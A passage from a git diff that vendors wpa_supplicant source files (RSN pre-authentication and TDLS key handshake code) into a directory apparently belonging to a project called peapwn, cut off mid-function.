+ return; + } + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: PMKSA candidate " + MACSTR " does not need pre-authentication anymore", + MAC2STR(candidate->bssid)); + /* Some drivers (e.g., NDIS) expect to get notified about the + * PMKIDs again, so report the existing data now. */ + if (p) { + wpa_sm_add_pmkid(sm, candidate->bssid, p->pmkid); + } + + dl_list_del(&candidate->list); + os_free(candidate); + } + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: no more pending PMKSA " + "candidates"); +} + + +/** + * pmksa_candidate_add - Add a new PMKSA candidate + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @bssid: BSSID (authenticator address) of the candidate + * @prio: Priority (the smaller number, the higher priority) + * @preauth: Whether the candidate AP advertises support for pre-authentication + * + * This function is used to add PMKSA candidates for RSN pre-authentication. It + * is called from scan result processing and from driver events for PMKSA + * candidates, i.e., EVENT_PMKID_CANDIDATE events to wpa_supplicant_event(). + */ +void pmksa_candidate_add(struct wpa_sm *sm, const u8 *bssid, + int prio, int preauth) +{ + struct rsn_pmksa_candidate *cand, *pos; + + if (sm->network_ctx && sm->proactive_key_caching) + pmksa_cache_get_opportunistic(sm->pmksa, sm->network_ctx, + bssid); + + if (!preauth) { + wpa_printf(MSG_DEBUG, "RSN: Ignored PMKID candidate without " + "preauth flag"); + return; + } + + /* If BSSID already on candidate list, update the priority of the old + * entry. Do not override priority based on normal scan results. */ + cand = NULL; + dl_list_for_each(pos, &sm->pmksa_candidates, + struct rsn_pmksa_candidate, list) { + if (os_memcmp(pos->bssid, bssid, ETH_ALEN) == 0) { + cand = pos; + break; + } + } + + if (cand) { + dl_list_del(&cand->list); + if (prio < PMKID_CANDIDATE_PRIO_SCAN) + cand->priority = prio; + } else { + cand = os_zalloc(sizeof(*cand)); + if (cand == NULL) + return; + os_memcpy(cand->bssid, bssid, ETH_ALEN); + cand->priority = prio; + } + + /* Add candidate to the list; order by increasing priority value. i.e., + * highest priority (smallest value) first. */ + dl_list_for_each(pos, &sm->pmksa_candidates, + struct rsn_pmksa_candidate, list) { + if (cand->priority <= pos->priority) { + dl_list_add(pos->list.prev, &cand->list); + cand = NULL; + break; + } + } + if (cand) + dl_list_add_tail(&sm->pmksa_candidates, &cand->list); + + wpa_msg(sm->ctx->msg_ctx, MSG_DEBUG, "RSN: added PMKSA cache " + "candidate " MACSTR " prio %d", MAC2STR(bssid), prio); + rsn_preauth_candidate_process(sm); +} + + +/* TODO: schedule periodic scans if current AP supports preauth */ + +/** + * rsn_preauth_scan_results - Start processing scan results for canditates + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * Returns: 0 if ready to process results or -1 to skip processing + * + * This functions is used to notify RSN code about start of new scan results + * processing. The actual scan results will be provided by calling + * rsn_preauth_scan_result() for each BSS if this function returned 0. + */ +int rsn_preauth_scan_results(struct wpa_sm *sm) +{ + if (sm->ssid_len == 0) + return -1; + + /* + * TODO: is it ok to free all candidates? What about the entries + * received from EVENT_PMKID_CANDIDATE? + */ + pmksa_candidate_free(sm); + + return 0; +} + + +/** + * rsn_preauth_scan_result - Processing scan result for PMKSA canditates + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * + * Add all suitable APs (Authenticators) from scan results into PMKSA + * candidate list. + */ +void rsn_preauth_scan_result(struct wpa_sm *sm, const u8 *bssid, + const u8 *ssid, const u8 *rsn) +{ + struct wpa_ie_data ie; + struct rsn_pmksa_cache_entry *pmksa; + + if (ssid[1] != sm->ssid_len || + os_memcmp(ssid + 2, sm->ssid, sm->ssid_len) != 0) + return; /* Not for the current SSID */ + + if (os_memcmp(bssid, sm->bssid, ETH_ALEN) == 0) + return; /* Ignore current AP */ + + if (wpa_parse_wpa_ie(rsn, 2 + rsn[1], &ie)) + return; + + pmksa = pmksa_cache_get(sm->pmksa, bssid, NULL, NULL); + if (pmksa && (!pmksa->opportunistic || + !(ie.capabilities & WPA_CAPABILITY_PREAUTH))) + return; + + /* Give less priority to candidates found from normal scan results. */ + pmksa_candidate_add(sm, bssid, PMKID_CANDIDATE_PRIO_SCAN, + ie.capabilities & WPA_CAPABILITY_PREAUTH); +} + + +#ifdef CONFIG_CTRL_IFACE +/** + * rsn_preauth_get_status - Get pre-authentication status + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @buf: Buffer for status information + * @buflen: Maximum buffer length + * @verbose: Whether to include verbose status information + * Returns: Number of bytes written to buf. + * + * Query WPA2 pre-authentication for status information. This function fills in + * a text area with current status information. If the buffer (buf) is not + * large enough, status information will be truncated to fit the buffer. + */ +int rsn_preauth_get_status(struct wpa_sm *sm, char *buf, size_t buflen, + int verbose) +{ + char *pos = buf, *end = buf + buflen; + int res, ret; + + if (sm->preauth_eapol) { + ret = os_snprintf(pos, end - pos, "Pre-authentication " + "EAPOL state machines:\n"); + if (ret < 0 || ret >= end - pos) + return pos - buf; + pos += ret; + res = eapol_sm_get_status(sm->preauth_eapol, + pos, end - pos, verbose); + if (res >= 0) + pos += res; + } + + return pos - buf; +} +#endif /* CONFIG_CTRL_IFACE */ + + +/** + * rsn_preauth_in_progress - Verify whether pre-authentication is in progress + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +int rsn_preauth_in_progress(struct wpa_sm *sm) +{ + return sm->preauth_eapol != NULL; +} + +#endif /* IEEE8021X_EAPOL */ diff --git a/peapwn/mods/hostap/src/rsn_supp/preauth.h b/peapwn/mods/hostap/src/rsn_supp/preauth.h new file mode 100644 index 000000000..277f0663b --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/preauth.h @@ -0,0 +1,79 @@ +/* + * wpa_supplicant - WPA2/RSN pre-authentication functions + * Copyright (c) 2003-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PREAUTH_H +#define PREAUTH_H + +struct wpa_scan_results; + +#ifdef IEEE8021X_EAPOL + +void pmksa_candidate_free(struct wpa_sm *sm); +int rsn_preauth_init(struct wpa_sm *sm, const u8 *dst, + struct eap_peer_config *eap_conf); +void rsn_preauth_deinit(struct wpa_sm *sm); +int rsn_preauth_scan_results(struct wpa_sm *sm); +void rsn_preauth_scan_result(struct wpa_sm *sm, const u8 *bssid, + const u8 *ssid, const u8 *rsn); +void pmksa_candidate_add(struct wpa_sm *sm, const u8 *bssid, + int prio, int preauth); +void rsn_preauth_candidate_process(struct wpa_sm *sm); +int rsn_preauth_get_status(struct wpa_sm *sm, char *buf, size_t buflen, + int verbose); +int rsn_preauth_in_progress(struct wpa_sm *sm); + +#else /* IEEE8021X_EAPOL */ + +static inline void pmksa_candidate_free(struct wpa_sm *sm) +{ +} + +static inline void rsn_preauth_candidate_process(struct wpa_sm *sm) +{ +} + +static inline int rsn_preauth_init(struct wpa_sm *sm, const u8 *dst, + struct eap_peer_config *eap_conf) +{ + return -1; +} + +static inline void rsn_preauth_deinit(struct wpa_sm *sm) +{ +} + +static inline int rsn_preauth_scan_results(struct wpa_sm *sm) +{ + return -1; +} + +static inline void rsn_preauth_scan_result(struct wpa_sm *sm, const u8 *bssid, + const u8 *ssid, const u8 *rsn) +{ +} + +static inline void pmksa_candidate_add(struct wpa_sm *sm, + const u8 *bssid, + int prio, int preauth) +{ +} + +static inline int rsn_preauth_get_status(struct wpa_sm *sm, char *buf, + size_t buflen, int verbose) +{ + return 0; +} + +static inline int rsn_preauth_in_progress(struct wpa_sm *sm) +{ + return 0; +} + +#endif /* IEEE8021X_EAPOL */ + +#endif /* PREAUTH_H */ diff --git a/peapwn/mods/hostap/src/rsn_supp/tdls.c b/peapwn/mods/hostap/src/rsn_supp/tdls.c new file mode 100644 index 000000000..efc643139 --- /dev/null +++ b/peapwn/mods/hostap/src/rsn_supp/tdls.c @@ -0,0 +1,2560 @@ +/* + * wpa_supplicant - TDLS + * Copyright (c) 2010-2011, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "utils/os.h" +#include "common/ieee802_11_defs.h" +#include "crypto/sha256.h" +#include "crypto/crypto.h" +#include "crypto/aes_wrap.h" +#include "rsn_supp/wpa.h" +#include "rsn_supp/wpa_ie.h" +#include "rsn_supp/wpa_i.h" +#include "drivers/driver.h" +#include "l2_packet/l2_packet.h" + +#ifdef CONFIG_TDLS_TESTING +#define TDLS_TESTING_LONG_FRAME BIT(0) +#define TDLS_TESTING_ALT_RSN_IE BIT(1) +#define TDLS_TESTING_DIFF_BSSID BIT(2) +#define TDLS_TESTING_SHORT_LIFETIME BIT(3) +#define TDLS_TESTING_WRONG_LIFETIME_RESP BIT(4) +#define TDLS_TESTING_WRONG_LIFETIME_CONF BIT(5) +#define TDLS_TESTING_LONG_LIFETIME BIT(6) +#define TDLS_TESTING_CONCURRENT_INIT BIT(7) +#define TDLS_TESTING_NO_TPK_EXPIRATION BIT(8) +#define TDLS_TESTING_DECLINE_RESP BIT(9) +#define TDLS_TESTING_IGNORE_AP_PROHIBIT BIT(10) +unsigned int tdls_testing = 0; +#endif /* CONFIG_TDLS_TESTING */ + +#define TPK_LIFETIME 43200 /* 12 hours */ +#define TPK_M1_RETRY_COUNT 3 +#define TPK_M1_TIMEOUT 5000 /* in milliseconds */ +#define TPK_M2_RETRY_COUNT 10 +#define TPK_M2_TIMEOUT 500 /* in milliseconds */ + +#define TDLS_MIC_LEN 16 + +#define TDLS_TIMEOUT_LEN 4 + +struct wpa_tdls_ftie { + u8 ie_type; /* FTIE */ + u8 ie_len; + u8 mic_ctrl[2]; + u8 mic[TDLS_MIC_LEN]; + u8 Anonce[WPA_NONCE_LEN]; /* Responder Nonce in TDLS */ + u8 Snonce[WPA_NONCE_LEN]; /* Initiator Nonce in TDLS */ + /* followed by optional elements */ +} STRUCT_PACKED; + +struct wpa_tdls_timeoutie { + u8 ie_type; /* Timeout IE */ + u8 ie_len; + u8 interval_type; + u8 value[TDLS_TIMEOUT_LEN]; +} STRUCT_PACKED; + +struct wpa_tdls_lnkid { + u8 ie_type; /* Link Identifier IE */ + u8 ie_len; + u8 bssid[ETH_ALEN]; + u8 init_sta[ETH_ALEN]; + u8 resp_sta[ETH_ALEN]; +} STRUCT_PACKED; + +/* TDLS frame headers as per IEEE Std 802.11z-2010 */ +struct wpa_tdls_frame { + u8 payloadtype; /* IEEE80211_TDLS_RFTYPE */ + u8 category; /* Category */ + u8 action; /* Action (enum tdls_frame_type) */ +} STRUCT_PACKED; + +static u8 * wpa_add_tdls_timeoutie(u8 *pos, u8 *ie, size_t ie_len, u32 tsecs); +static void wpa_tdls_tpk_retry_timeout(void *eloop_ctx, void *timeout_ctx); +static void wpa_tdls_peer_free(struct wpa_sm *sm, struct wpa_tdls_peer *peer); +static void wpa_tdls_disable_peer_link(struct wpa_sm *sm, + struct wpa_tdls_peer *peer); + + +#define TDLS_MAX_IE_LEN 80 +#define IEEE80211_MAX_SUPP_RATES 32 + +struct wpa_tdls_peer { + struct wpa_tdls_peer *next; + unsigned int reconfig_key:1; + int initiator; /* whether this end was initiator for TDLS setup */ + u8 addr[ETH_ALEN]; /* other end MAC address */ + u8 inonce[WPA_NONCE_LEN]; /* Initiator Nonce */ + u8 rnonce[WPA_NONCE_LEN]; /* Responder Nonce */ + u8 rsnie_i[TDLS_MAX_IE_LEN]; /* Initiator RSN IE */ + size_t rsnie_i_len; + u8 rsnie_p[TDLS_MAX_IE_LEN]; /* Peer RSN IE */ + size_t rsnie_p_len; + u32 lifetime; + int cipher; /* Selected cipher (WPA_CIPHER_*) */ + u8 dtoken; + + struct tpk { + u8 kck[16]; /* TPK-KCK */ + u8 tk[16]; /* TPK-TK; assuming only CCMP will be used */ + } tpk; + int tpk_set; + int tpk_success; + int tpk_in_progress; + + struct tpk_timer { + u8 dest[ETH_ALEN]; + int count; /* Retry Count */ + int timer; /* Timeout in milliseconds */ + u8 action_code; /* TDLS frame type */ + u8 dialog_token; + u16 status_code; + int buf_len; /* length of TPK message for retransmission */ + u8 *buf; /* buffer for TPK message */ + } sm_tmr; + + u16 capability; + + u8 supp_rates[IEEE80211_MAX_SUPP_RATES]; + size_t supp_rates_len; + + struct ieee80211_ht_capabilities *ht_capabilities; + struct ieee80211_vht_capabilities *vht_capabilities; + + u8 qos_info; + + u16 aid; + + u8 *ext_capab; + size_t ext_capab_len; +}; + + +static int wpa_tdls_get_privacy(struct wpa_sm *sm) +{ + /* + * Get info needed from supplicant to check if the current BSS supports + * security. Other than OPEN mode, rest are considered secured + * WEP/WPA/WPA2 hence TDLS frames are processed for TPK handshake. + */ + return sm->pairwise_cipher != WPA_CIPHER_NONE; +} + + +static u8 * wpa_add_ie(u8 *pos, const u8 *ie, size_t ie_len) +{ + os_memcpy(pos, ie, ie_len); + return pos + ie_len; +} + + +static int wpa_tdls_del_key(struct wpa_sm *sm, struct wpa_tdls_peer *peer) +{ + if (wpa_sm_set_key(sm, WPA_ALG_NONE, peer->addr, + 0, 0, NULL, 0, NULL, 0) < 0) { + wpa_printf(MSG_WARNING, "TDLS: Failed to delete TPK-TK from " + "the driver"); + return -1; + } + + return 0; +} + + +static int wpa_tdls_set_key(struct wpa_sm *sm, struct wpa_tdls_peer *peer) +{ + u8 key_len; + u8 rsc[6]; + enum wpa_alg alg; + + os_memset(rsc, 0, 6); + + switch (peer->cipher) { + case WPA_CIPHER_CCMP: + alg = WPA_ALG_CCMP; + key_len = 16; + break; + case WPA_CIPHER_NONE: + wpa_printf(MSG_DEBUG, "TDLS: Pairwise Cipher Suite: " + "NONE - do not use pairwise keys"); + return -1; + default: + wpa_printf(MSG_WARNING, "TDLS: Unsupported pairwise cipher %d", + sm->pairwise_cipher); + return -1; + } + + if (wpa_sm_set_key(sm, alg, peer->addr, -1, 1, + rsc, sizeof(rsc), peer->tpk.tk, key_len) < 0) { + wpa_printf(MSG_WARNING, "TDLS: Failed to set TPK to the " + "driver"); + return -1; + } + return 0; +} + + +static int wpa_tdls_send_tpk_msg(struct wpa_sm *sm, const u8 *dst, + u8 action_code, u8 dialog_token, + u16 status_code, const u8 *buf, size_t len) +{ + return wpa_sm_send_tdls_mgmt(sm, dst, action_code, dialog_token, + status_code, buf, len); +} + + +static int wpa_tdls_tpk_send(struct wpa_sm *sm, const u8 *dest, u8 action_code, + u8 dialog_token, u16 status_code, + const u8 *msg, size_t msg_len) +{ + struct wpa_tdls_peer *peer; + + wpa_printf(MSG_DEBUG, "TDLS: TPK send dest=" MACSTR " action_code=%u " + "dialog_token=%u status_code=%u msg_len=%u", + MAC2STR(dest), action_code, dialog_token, status_code, + (unsigned int) msg_len); + + if (wpa_tdls_send_tpk_msg(sm, dest, action_code, dialog_token, + status_code, msg, msg_len)) { + wpa_printf(MSG_INFO, "TDLS: Failed to send message " + "(action_code=%u)", action_code); + return -1; + } + + if (action_code == WLAN_TDLS_SETUP_CONFIRM || + action_code == WLAN_TDLS_TEARDOWN || + action_code == WLAN_TDLS_DISCOVERY_REQUEST || + action_code == WLAN_TDLS_DISCOVERY_RESPONSE) + return 0; /* No retries */ + + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, dest, ETH_ALEN) == 0) + break; + } + + if (peer == NULL) { + wpa_printf(MSG_INFO, "TDLS: No matching entry found for " + "retry " MACSTR, MAC2STR(dest)); + return 0; + } + + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, peer); + + if (action_code == WLAN_TDLS_SETUP_RESPONSE) { + peer->sm_tmr.count = TPK_M2_RETRY_COUNT; + peer->sm_tmr.timer = TPK_M2_TIMEOUT; + } else { + peer->sm_tmr.count = TPK_M1_RETRY_COUNT; + peer->sm_tmr.timer = TPK_M1_TIMEOUT; + } + + /* Copy message to resend on timeout */ + os_memcpy(peer->sm_tmr.dest, dest, ETH_ALEN); + peer->sm_tmr.action_code = action_code; + peer->sm_tmr.dialog_token = dialog_token; + peer->sm_tmr.status_code = status_code; + peer->sm_tmr.buf_len = msg_len; + os_free(peer->sm_tmr.buf); + peer->sm_tmr.buf = os_malloc(msg_len); + if (peer->sm_tmr.buf == NULL) + return -1; + os_memcpy(peer->sm_tmr.buf, msg, msg_len); + + wpa_printf(MSG_DEBUG, "TDLS: Retry timeout registered " + "(action_code=%u)", action_code); + eloop_register_timeout(peer->sm_tmr.timer / 1000, + (peer->sm_tmr.timer % 1000) * 1000, + wpa_tdls_tpk_retry_timeout, sm, peer); + return 0; +} + + +static int wpa_tdls_do_teardown(struct wpa_sm *sm, struct wpa_tdls_peer *peer, + u16 reason_code) +{ + int ret; + + ret = wpa_tdls_send_teardown(sm, peer->addr, reason_code); + /* disable the link after teardown was sent */ + wpa_tdls_disable_peer_link(sm, peer); + + return ret; +} + + +static void wpa_tdls_tpk_retry_timeout(void *eloop_ctx, void *timeout_ctx) +{ + + struct wpa_sm *sm = eloop_ctx; + struct wpa_tdls_peer *peer = timeout_ctx; + + if (peer->sm_tmr.count) { + peer->sm_tmr.count--; + + wpa_printf(MSG_INFO, "TDLS: Retrying sending of message " + "(action_code=%u)", + peer->sm_tmr.action_code); + + if (peer->sm_tmr.buf == NULL) { + wpa_printf(MSG_INFO, "TDLS: No retry buffer available " + "for action_code=%u", + peer->sm_tmr.action_code); + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, + peer); + return; + } + + /* resend TPK Handshake Message to Peer */ + if (wpa_tdls_send_tpk_msg(sm, peer->sm_tmr.dest, + peer->sm_tmr.action_code, + peer->sm_tmr.dialog_token, + peer->sm_tmr.status_code, + peer->sm_tmr.buf, + peer->sm_tmr.buf_len)) { + wpa_printf(MSG_INFO, "TDLS: Failed to retry " + "transmission"); + } + + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, peer); + eloop_register_timeout(peer->sm_tmr.timer / 1000, + (peer->sm_tmr.timer % 1000) * 1000, + wpa_tdls_tpk_retry_timeout, sm, peer); + } else { + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, peer); + + wpa_printf(MSG_DEBUG, "TDLS: Sending Teardown Request"); + wpa_tdls_do_teardown(sm, peer, + WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED); + } +} + + +static void wpa_tdls_tpk_retry_timeout_cancel(struct wpa_sm *sm, + struct wpa_tdls_peer *peer, + u8 action_code) +{ + if (action_code == peer->sm_tmr.action_code) { + wpa_printf(MSG_DEBUG, "TDLS: Retry timeout cancelled for " + "action_code=%u", action_code); + + /* Cancel Timeout registered */ + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, peer); + + /* free all resources meant for retry */ + os_free(peer->sm_tmr.buf); + peer->sm_tmr.buf = NULL; + + peer->sm_tmr.count = 0; + peer->sm_tmr.timer = 0; + peer->sm_tmr.buf_len = 0; + peer->sm_tmr.action_code = 0xff; + } else { + wpa_printf(MSG_INFO, "TDLS: Error in cancelling retry timeout " + "(Unknown action_code=%u)", action_code); + } +} + + +static void wpa_tdls_generate_tpk(struct wpa_tdls_peer *peer, + const u8 *own_addr, const u8 *bssid) +{ + u8 key_input[SHA256_MAC_LEN]; + const u8 *nonce[2]; + size_t len[2]; + u8 data[3 * ETH_ALEN]; + + /* IEEE Std 802.11z-2010 8.5.9.1: + * TPK-Key-Input = SHA-256(min(SNonce, ANonce) || max(SNonce, ANonce)) + */ + len[0] = WPA_NONCE_LEN; + len[1] = WPA_NONCE_LEN; + if (os_memcmp(peer->inonce, peer->rnonce, WPA_NONCE_LEN) < 0) { + nonce[0] = peer->inonce; + nonce[1] = peer->rnonce; + } else { + nonce[0] = peer->rnonce; + nonce[1] = peer->inonce; + } + wpa_hexdump(MSG_DEBUG, "TDLS: min(Nonce)", nonce[0], WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, "TDLS: max(Nonce)", nonce[1], WPA_NONCE_LEN); + sha256_vector(2, nonce, len, key_input); + wpa_hexdump_key(MSG_DEBUG, "TDLS: TPK-Key-Input", + key_input, SHA256_MAC_LEN); + + /* + * TPK-Key-Data = KDF-N_KEY(TPK-Key-Input, "TDLS PMK", + * min(MAC_I, MAC_R) || max(MAC_I, MAC_R) || BSSID || N_KEY) + * TODO: is N_KEY really included in KDF Context and if so, in which + * presentation format (little endian 16-bit?) is it used? It gets + * added by the KDF anyway.. + */ + + if (os_memcmp(own_addr, peer->addr, ETH_ALEN) < 0) { + os_memcpy(data, own_addr, ETH_ALEN); + os_memcpy(data + ETH_ALEN, peer->addr, ETH_ALEN); + } else { + os_memcpy(data, peer->addr, ETH_ALEN); + os_memcpy(data + ETH_ALEN, own_addr, ETH_ALEN); + } + os_memcpy(data + 2 * ETH_ALEN, bssid, ETH_ALEN); + wpa_hexdump(MSG_DEBUG, "TDLS: KDF Context", data, sizeof(data)); + + sha256_prf(key_input, SHA256_MAC_LEN, "TDLS PMK", data, sizeof(data), + (u8 *) &peer->tpk, sizeof(peer->tpk)); + wpa_hexdump_key(MSG_DEBUG, "TDLS: TPK-KCK", + peer->tpk.kck, sizeof(peer->tpk.kck)); + wpa_hexdump_key(MSG_DEBUG, "TDLS: TPK-TK", + peer->tpk.tk, sizeof(peer->tpk.tk)); + peer->tpk_set = 1; +} + + +/** + * wpa_tdls_ftie_mic - Calculate TDLS FTIE MIC + * @kck: TPK-KCK + * @lnkid: Pointer to the beginning of Link Identifier IE + * @rsnie: Pointer to the beginning of RSN IE used for handshake + * @timeoutie: Pointer to the beginning of Timeout IE used for handshake + * @ftie: Pointer to the beginning of FT IE + * @mic: Pointer for writing MIC + * + * Calculate MIC for TDLS frame. + */ +static int wpa_tdls_ftie_mic(const u8 *kck, u8 trans_seq, const u8 *lnkid, + const u8 *rsnie, const u8 *timeoutie, + const u8 *ftie, u8 *mic) +{ + u8 *buf, *pos; + struct wpa_tdls_ftie *_ftie; + const struct wpa_tdls_lnkid *_lnkid; + int ret; + int len = 2 * ETH_ALEN + 1 + 2 + lnkid[1] + 2 + rsnie[1] + + 2 + timeoutie[1] + 2 + ftie[1]; + buf = os_zalloc(len); + if (!buf) { + wpa_printf(MSG_WARNING, "TDLS: No memory for MIC calculation"); + return -1; + } + + pos = buf; + _lnkid = (const struct wpa_tdls_lnkid *) lnkid; + /* 1) TDLS initiator STA MAC address */ + os_memcpy(pos, _lnkid->init_sta, ETH_ALEN); + pos += ETH_ALEN; + /* 2) TDLS responder STA MAC address */ + os_memcpy(pos, _lnkid->resp_sta, ETH_ALEN); + pos += ETH_ALEN; + /* 3) Transaction Sequence number */ + *pos++ = trans_seq; + /* 4) Link Identifier IE */ + os_memcpy(pos, lnkid, 2 + lnkid[1]); + pos += 2 + lnkid[1]; + /* 5) RSN IE */ + os_memcpy(pos, rsnie, 2 + rsnie[1]); + pos += 2 + rsnie[1]; + /* 6) Timeout Interval IE */ + os_memcpy(pos, timeoutie, 2 + timeoutie[1]); + pos += 2 + timeoutie[1]; + /* 7) FTIE, with the MIC field of the FTIE set to 0 */ + os_memcpy(pos, ftie, 2 + ftie[1]); + _ftie = (struct wpa_tdls_ftie *) pos; + os_memset(_ftie->mic, 0, TDLS_MIC_LEN); + pos += 2 + ftie[1]; + + wpa_hexdump(MSG_DEBUG, "TDLS: Data for FTIE MIC", buf, pos - buf); + wpa_hexdump_key(MSG_DEBUG, "TDLS: KCK", kck, 16); + ret = omac1_aes_128(kck, buf, pos - buf, mic); + os_free(buf); + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE MIC", mic, 16); + return ret; +} + + +/** + * wpa_tdls_key_mic_teardown - Calculate TDLS FTIE MIC for Teardown frame + * @kck: TPK-KCK + * @trans_seq: Transaction Sequence Number (4 - Teardown) + * @rcode: Reason code for Teardown + * @dtoken: Dialog Token used for that particular link + * @lnkid: Pointer to the beginning of Link Identifier IE + * @ftie: Pointer to the beginning of FT IE + * @mic: Pointer for writing MIC + * + * Calculate MIC for TDLS frame. + */ +static int wpa_tdls_key_mic_teardown(const u8 *kck, u8 trans_seq, u16 rcode, + u8 dtoken, const u8 *lnkid, + const u8 *ftie, u8 *mic) +{ + u8 *buf, *pos; + struct wpa_tdls_ftie *_ftie; + int ret; + int len; + + if (lnkid == NULL) + return -1; + + len = 2 + lnkid[1] + sizeof(rcode) + sizeof(dtoken) + + sizeof(trans_seq) + 2 + ftie[1]; + + buf = os_zalloc(len); + if (!buf) { + wpa_printf(MSG_WARNING, "TDLS: No memory for MIC calculation"); + return -1; + } + + pos = buf; + /* 1) Link Identifier IE */ + os_memcpy(pos, lnkid, 2 + lnkid[1]); + pos += 2 + lnkid[1]; + /* 2) Reason Code */ + WPA_PUT_LE16(pos, rcode); + pos += sizeof(rcode); + /* 3) Dialog token */ + *pos++ = dtoken; + /* 4) Transaction Sequence number */ + *pos++ = trans_seq; + /* 7) FTIE, with the MIC field of the FTIE set to 0 */ + os_memcpy(pos, ftie, 2 + ftie[1]); + _ftie = (struct wpa_tdls_ftie *) pos; + os_memset(_ftie->mic, 0, TDLS_MIC_LEN); + pos += 2 + ftie[1]; + + wpa_hexdump(MSG_DEBUG, "TDLS: Data for FTIE MIC", buf, pos - buf); + wpa_hexdump_key(MSG_DEBUG, "TDLS: KCK", kck, 16); + ret = omac1_aes_128(kck, buf, pos - buf, mic); + os_free(buf); + wpa_hexdump(MSG_DEBUG, "TDLS: FTIE MIC", mic, 16); + return ret; +} + + +static int wpa_supplicant_verify_tdls_mic(u8 trans_seq, + struct wpa_tdls_peer *peer, + const u8 *lnkid, const u8 *timeoutie, + const struct wpa_tdls_ftie *ftie) +{ + u8 mic[16]; + + if (peer->tpk_set) { + wpa_tdls_ftie_mic(peer->tpk.kck, trans_seq, lnkid, + peer->rsnie_p, timeoutie, (u8 *) ftie, + mic); + if (os_memcmp(mic, ftie->mic, 16) != 0) { + wpa_printf(MSG_INFO, "TDLS: Invalid MIC in FTIE - " + "dropping packet"); + wpa_hexdump(MSG_DEBUG, "TDLS: Received MIC", + ftie->mic, 16); + wpa_hexdump(MSG_DEBUG, "TDLS: Calculated MIC", + mic, 16); + return -1; + } + } else { + wpa_printf(MSG_WARNING, "TDLS: Could not verify TDLS MIC, " + "TPK not set - dropping packet"); + return -1; + } + return 0; +} + + +static int wpa_supplicant_verify_tdls_mic_teardown( + u8 trans_seq, u16 rcode, u8 dtoken, struct wpa_tdls_peer *peer, + const u8 *lnkid, const struct wpa_tdls_ftie *ftie) +{ + u8 mic[16]; + + if (peer->tpk_set) { + wpa_tdls_key_mic_teardown(peer->tpk.kck, trans_seq, rcode, + dtoken, lnkid, (u8 *) ftie, mic); + if (os_memcmp(mic, ftie->mic, 16) != 0) { + wpa_printf(MSG_INFO, "TDLS: Invalid MIC in Teardown - " + "dropping packet"); + return -1; + } + } else { + wpa_printf(MSG_INFO, "TDLS: Could not verify TDLS Teardown " + "MIC, TPK not set - dropping packet"); + return -1; + } + return 0; +} + + +static void wpa_tdls_tpk_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_sm *sm = eloop_ctx; + struct wpa_tdls_peer *peer = timeout_ctx; + + /* + * On TPK lifetime expiration, we have an option of either tearing down + * the direct link or trying to re-initiate it. The selection of what + * to do is not strictly speaking controlled by our role in the expired + * link, but for now, use that to select whether to renew or tear down + * the link. + */ + + if (peer->initiator) { + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime expired for " MACSTR + " - try to renew", MAC2STR(peer->addr)); + wpa_tdls_start(sm, peer->addr); + } else { + wpa_printf(MSG_DEBUG, "TDLS: TPK lifetime expired for " MACSTR + " - tear down", MAC2STR(peer->addr)); + wpa_tdls_do_teardown(sm, peer, + WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED); + } +} + + +static void wpa_tdls_peer_free(struct wpa_sm *sm, struct wpa_tdls_peer *peer) +{ + wpa_printf(MSG_DEBUG, "TDLS: Clear state for peer " MACSTR, + MAC2STR(peer->addr)); + eloop_cancel_timeout(wpa_tdls_tpk_timeout, sm, peer); + eloop_cancel_timeout(wpa_tdls_tpk_retry_timeout, sm, peer); + peer->reconfig_key = 0; + peer->initiator = 0; + peer->tpk_in_progress = 0; + os_free(peer->sm_tmr.buf); + peer->sm_tmr.buf = NULL; + os_free(peer->ht_capabilities); + peer->ht_capabilities = NULL; + os_free(peer->vht_capabilities); + peer->vht_capabilities = NULL; + os_free(peer->ext_capab); + peer->ext_capab = NULL; + peer->rsnie_i_len = peer->rsnie_p_len = 0; + peer->cipher = 0; + peer->tpk_set = peer->tpk_success = 0; + os_memset(&peer->tpk, 0, sizeof(peer->tpk)); + os_memset(peer->inonce, 0, WPA_NONCE_LEN); + os_memset(peer->rnonce, 0, WPA_NONCE_LEN); +} + + +static void wpa_tdls_linkid(struct wpa_sm *sm, struct wpa_tdls_peer *peer, + struct wpa_tdls_lnkid *lnkid) +{ + lnkid->ie_type = WLAN_EID_LINK_ID; + lnkid->ie_len = 3 * ETH_ALEN; + os_memcpy(lnkid->bssid, sm->bssid, ETH_ALEN); + if (peer->initiator) { + os_memcpy(lnkid->init_sta, sm->own_addr, ETH_ALEN); + os_memcpy(lnkid->resp_sta, peer->addr, ETH_ALEN); + } else { + os_memcpy(lnkid->init_sta, peer->addr, ETH_ALEN); + os_memcpy(lnkid->resp_sta, sm->own_addr, ETH_ALEN); + } +} + + +int wpa_tdls_send_teardown(struct wpa_sm *sm, const u8 *addr, u16 reason_code) +{ + struct wpa_tdls_peer *peer; + struct wpa_tdls_ftie *ftie; + struct wpa_tdls_lnkid lnkid; + u8 dialog_token; + u8 *rbuf, *pos; + int ielen; + + if (sm->tdls_disabled || !sm->tdls_supported) + return -1; + + /* Find the node and free from the list */ + for (peer = sm->tdls; peer; peer = peer->next) { + if (os_memcmp(peer->addr, addr, ETH_ALEN) == 0) + break; + } + + if (peer == NULL) { + wpa_printf(MSG_INFO, "TDLS: No 